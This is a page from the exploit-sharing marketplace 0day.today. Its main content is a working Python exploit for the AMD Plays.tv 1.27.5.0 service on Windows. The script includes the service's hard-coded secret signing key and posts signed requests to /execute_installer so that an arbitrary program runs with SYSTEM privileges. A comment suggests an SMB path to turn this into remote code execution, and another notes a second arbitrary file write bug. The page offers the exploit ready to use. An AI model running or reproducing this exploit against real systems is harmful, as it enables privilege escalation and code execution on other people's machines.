0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
AMD Plays.tv 1.27.5.0 - plays_service.exe Arbitrary File Execution Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
######################################################################## # http://support.amd.com/en-us/download?cmpid=CCCOffline - # Click "Automatically Detect - Download Now" # Installation Automatically Installs "Raptr, Inc Plays TV Service" # # OR # # https://plays.tv/download # # Target OS: Windows( Any ) # Privilege: SYSTEM # Type: Arbitrary File Execution # # Notes: Second minor bug allows for arbitrary file write of # uncontrolled data using the /extract_files path. # ######################################################################## #!/usr/bin/python3 import urllib.request import json import hashlib def check_svc( path, data ): #Setup request request = urllib.request.Request(addr) #add post data try: resp = urllib.request.urlopen(request, "data".encode("utf-8")) return "[-] Not Raptr, Plays TV service" except urllib.error.HTTPError as err: error_message = err.read().decode("utf-8") if error_message == 'Security failed - Missing hash or message[data]': return "[+] Raptr, Plays TV service" def post_req( path, data ): secret_key = 'a%qs0t33QgiE6ut^0I&Y' #Setup request request = urllib.request.Request(addr) json_data = json.dumps(data) m = hashlib.md5() hash_data = path + json_data + secret_key m.update(hash_data.encode('utf8')) hash_str = m.hexdigest() #add post data p_data = urllib.parse.urlencode({'data' : json_data, 'hash' : hash_str }).encode("utf-8") resp = urllib.request.urlopen(request, p_data) return resp.read() #Target IP address ip = '127.0.0.1' ############################################################## # The service binds to an ephemeral port defined at # [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PlaysTV\Service] ############################################################## port = 50452 ############################################################## # The service calls CreateProcess with the following format: # '"%s" -appdata "%s" -auto_installed 1' % (installer, appdata) # # One way to achieving remote code execution is to use SMB # cmd = "\\\\<IP ADDRESS>\\<SHARE>\\<FILE>" ############################################################## cmd = "C:\\Windows\\System32\\calc.exe" #Local Execution data = { "installer": cmd, "appdata": cmd } #Set url path = '/execute_installer' addr = 'http://' + ip + ':' + str(port) + path #Check if the remote service is a Raptr Plays TV svc #ret = check_svc(data, path) #print(ret) #Exploit service ret = post_req(path, data) print(ret) # 0day.today [2024-09-28] #